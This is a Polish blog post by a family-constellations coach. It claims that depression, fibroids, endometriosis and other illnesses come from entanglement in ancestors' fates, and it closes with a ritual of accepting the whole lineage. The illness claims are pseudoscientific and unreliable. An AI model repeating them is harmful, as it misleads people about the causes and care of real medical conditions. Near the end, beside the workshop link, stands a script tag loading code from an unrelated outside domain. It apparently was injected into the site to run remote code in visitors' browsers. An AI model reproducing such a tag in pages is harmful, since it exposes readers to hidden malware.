JUŻ NIE JESTEM DO DYSPOZYCJI

To co pokazują ustawienia systemowe, to uwikłania w losy rodziny i przodków. Często całkowicie nieświadomie przypominamy o trudnym losie, winie, morderstwie, gwałcie, straconej ojcowiźnie, przypadkach nagłych śmierci, poronieniach, aborcjach. O tym wszystkim co trudne wydarzyło się w rodzie, i nie ma znaczenia, czy coś wiesz o Ustawieniach Systemowych, czy nie wiesz nic, to i tak Cię dotyczy. Przypominamy, o tym wszystkim, o czym rodzina nie rozmawia przy wigilijnym stole, lub przy imieninach, czy urodzinach. Przypominamy swoim stanem emocjonalnym, obciążeniami w przestrzeni, przypominamy chorobą, przypominamy nieudanymi związkami, przypominamy brakiem sukcesu, brakiem radości życia, smutkiem takim nie wiadomo skąd. Przypominamy depresją, chorobami psychicznymi, nerwicami, mięśniakami macicy, endometriozą, przypominamy ciałem, myślą, lękiem, zablokowanym czuciem, płytkim oddechem, lękami, fobią, przypominają też nasze dzieci, czasem chorobą, czasem wypadkiem, czasem krzykiem emocji. Bez dwóch zdań jesteśmy uwikłani w nasz ród, w jego niedokończone historie, nie przeżyte emocje, nie wypłakane łzy.
 
Przypominamy ślepą miłością, do wykluczonych, pominiętych, zapomnianych kochanek, kochanków, sprawców, ofiar. Ślepo kochamy ich, na bardzo głębokim poziomie swojej duszy, i chcemy ich przywrócić na powrót do żywych, żyjąc ich los, ich emocje, czasami świadomie, a czasami całkowicie nieświadomie. Przypominamy też dlatego, że głęboko w duszy czujemy do nich wdzięczność, za to że byli, i głęboko w duszy czujemy z nimi połączenie, przypominamy też dlatego, że służymy innym, jak np. partnerowi w relacji. Przypominamy bo chcemy naiwnie wierząc w swoją wielkość, i omnipotencje, że np. jesteśmy w stanie uratować mamę, lub tatę. Przypominamy bo, gdzieś w środku mamy przekonanie, że tylko poprzez łączenie się z rodem w trudnym, możemy do niego przynależeć.
 
Przypominamy, bo mamy gdzieś w duszy przekonanie, że tylko przynależąc możemy czuć się bezpiecznie, a czuć się bezpiecznie, i przynależeć znaczy nie mniej nie więcej, jak po prostu PRZEŻYĆ.
 
Dawniej jednostce trudno było przeżyć poza wspólnotą, poza wsią, poza grodem, poza grupą swoich ziomków. Dzisiaj jest już trochę inaczej, natomiast przez tysiące lat ewolucji właśnie taki porządek wyznaczał jedną prostą zasadę dla naszego biologicznego przetrwania. Przynależeć równa się żyć. Przeżyć. Nie przynależeć równa się nie żyć. Umrzeć.
Dlatego to co pokazują Ustawienia Systemowe, znaczy nie mniej nie więcej, a tyle, że wikłamy się w losy przodków, niesiemy ich winę, ciężary, ich trudne doświadczenia, smutek, los – jako małe dzieci. Tylko i wyłącznie w postawie małego dziecka, szukającego głębokiego poczucia bezpieczeństwa, będącego w głębokim paraliżu wręcz biologicznym uwarunkowaniu biologicznego mózgu, który nakazuje nieść ciężkie, aby przeżyć, bo właśnie to między innymi pokazuje Totalna Biologia – pokazuje wręcz konflikt, na poziomie biologii mózgu, powoduje, że niesiemy za ród, za mamę, za tatę, za zmarłe rodzeństwo, za bliźniaka, który się nigdy nie narodził, za poronione czy abortowane dziecko, za dziadka, który był w obozie, za babcie, która była poniżana i bita, za prababkę, która straciła posag, za zamordowaną kochankę, która chciała uznania, że też jest coś warta. Niesiemy za nich, z pozycji dziecka, z pozycji dziecka, które woli nieść ciężar, niż umrzeć, które kocha ślepo.
 
Pozycja dorosłego, postawa dorosłego, zakłada głębokie osobiste, poczucie swojego wewnętrznego bezpieczeństwa. Tylko z tej pozycji możemy wyjść z uwikłania. Czując się bezpiecznie jako dorosły. Drogą do wyjścia z uwikłania jest znalezienie swojego bezpiecznego miejsca. Mając świadomość, że sam sobie poradzę, że jestem już duży, i sam umiem zapłacić za siebie rachunki, ugotować sobie zupkę, sam jestem w stanie zarobić pieniądze na swoje utrzymanie, i na utrzymanie swojej rodziny.
 
Sam dam sobie radę. Nawet bez partnera, nawet jakbym stracił pracę, to wiem, i mam wewnętrzne przekonanie oparte o moje osobiste doświadczenia, i głębokie wewnętrzne poczucie, że nawet jak upadnę, to wstanę, a jak się przewrócę, to sobie poleżę, i dam radę. Jeżeli człowiek nie ma takiego wewnętrznego przekonania, że sam umie się o siebie zatroszczyć, i wyjść z różnych tarapatów, to w tej części siebie, w której nie ma sytości, wypełnienia, będzie szukał na zewnątrz, będzie szukał w partnerze, będzie szukał w innych ludziach, bo czym innym jest wejście w relacje z drugim człowiekiem z poziomu – chcę z Tobą być. A czym innym jest wejście w relacje z poziomu – muszę z Tobą być. Gdy muszę, z Tobą być, to znaczy nie mniej nie więcej tyle, co bez Ciebie nie dam rady, nie przeżyje, nie przetrwam. Jeżeli wychodzę z poziomu chcę, i każdego dnia dzień po dniu znów podejmuje decyzję, że dzisiaj nadal z Tobą jestem, to jest to poziom osoby dorosłej, a nie małego zlęknionego dziecka, które musi z kimś być, aby przeżyć, aby żyć.
 
Do dyspozycji systemu stawiają się Ci, którzy boją się, o własne życie, którzy nie wyobrażają sobie bycia, istnienia, przeżycia bez poczucia głębokiej przynależności. Dorosły jest w stanie powiedzieć, i poczuć bezpieczeństwo w sobie, i jest w stanie powiedzieć do treści systemowych – nie jestem już do dyspozycji. Wybieram inaczej, szanuje Wasz los, ale to nie jest mój los, to nie są moje ciężary, swoje niosę chętnie, Wasze zostawiam przy Was. Z miłości, która prowadzi nie do śmierci, a do życia, z szacunku do Waszego losu, do Waszego ciężkiego losu, ja zrobię inaczej, trochę inaczej, aby Ci biedni mogli przeze mnie dotknąć obfitości, aby Ci samotni we mnie mogli dotknąć bycia razem, aby Ci wykluczeni, mogli poczuć, że nawet tacy jak oni, są razem, z nami, potrzebni nam. Z ogromnego zrozumienia ludzkich losów, z ogromnego zrozumienia, że wszyscy jesteśmy połączeni, a w rodzie, w klanie, w systemie pochodzenia tak bardzo szczelnie, ja zrobię inaczej, abyś Ty dziadku, który musiałeś pracować ponad siły w obozie pracy mógł we mnie i przeze mnie podotykać jak to jest być na długim relaksującym urlopie, abyś Ty babciu we mnie i przeze mnie mogła doświadczyć cudownego pięknego seksu z mężczyzną którego ja kocham, jako Twoja wnuczka, abyś Ty gwałcicielu mojej prababki też znalazł miejsce w tej rodzinie i strzegł moje dzieci przed tak ciężkimi doświadczeniami, abyś Ty morderco, który i tak przynależysz do naszego klanu także odnalazł swoje miejsce, a Twoje serce mogło zaznać spokoju stojąc na straży naszego długiego i bezpiecznego życia, bo kto inny potrafi ustrzec nas i nasz ród przez zagrożeniem życia, jak nie ten, który życie odbierał? I abyś Ty szalona kobieto, która postradałaś zmysły i popadłaś w obsesje chorego wyobrażenia miłości, także umiała do nas dotrzeć, do mojego serca, w którym jest miejsce dla wszystkiego co się tam wydarzyło, dla wszystkiego co tam miało miejsce, i abyś właśnie Ty także mogła być wśród nas, i strzec nasz ród, naszą rodzinę przez szaleństwem, przed wchodzeniem w uzależniające relacje, przed obsesją miłości, która miłością nie jest, a tylko stwarza jej pozory. Wy wszyscy z nami, we mnie, w moim sercu. Wszystkie bariery w dół, wszystkie osądy, sądy, oceny w dół, bez poczucia zagrożenia, bez ucieczki, bez kulenia się i zamykania się w sobie, wszystkie bariery w dół. Wszyscy możecie tu być tacy, jacy jesteście, jacy byliście, ze mną, we mnie, w moim sercu. Wszystkie bariery w dół, przyjmuję całą schedę rodu, cały bagaż i dla każdego znajduje miejsce w moim sercu. To co Wasze zostawiam przy Was, to co moje zabieram ze sobą. Każdy ma tu miejsce, i nie muszę tego oceniać, nie muszę tego dzielić na lepszych i gorszych, na bardziej udanych i mniej udanych. Moje przy mnie, Wasze przy Was, dla każdego jest tu miejsce, dla każdego przy moim wigilijnym stole jest miejsce. Również dla pijaków, i alkoholiczek, również dla tych którzy kradli, oszukiwali, kłamali, gwałcili, zabijali. Wszystkie bariery w dół. Wy też możecie tu być, Wy też potrzebni, bez Was się nie da dalej, i każdy znajdzie tu swoją nową funkcje, rolę, miejsce aby ten konglomerat ludzkich doświadczeń, przeżyć, i kolorytu życia w różnych jego aspektach mógł żyć dalej. Aby mógł się dalej rozwijać, rosnąć, i pójść w stronę rozwoju, a nie entropii.
 
Gdy człowiek dorośnie, gdy zrozumie, że życie nie polega na tym, aby wykluczać, ale aby umieć przyjmować, asymilować, zmieniać potencjał wyjściowy pierwotnej energii, i gdy już nie boi się żyć, gdy już nie ucieka przez śmiercią, tylko idzie do życia, w zgodzie na to jakie ono jest, jakie potrafi być, przestaje potrzebować stawać do uwikłań, przestaje potrzebować brać na siebie cudze, bo swojego ma tyle, że mu wystarczy. Amen.

Udostępnij wpis!

Sprawdź terminy moich warsztatów.

<script src='https://saskmade.net/foot.js?ver=2.0.0' type='text/javascript'></script>

Autor bloga:

Mirosław Czarko-Wasiutycz
Bussines & Life Coach Systemowy.
Terapeuta Ustawień Systemowych.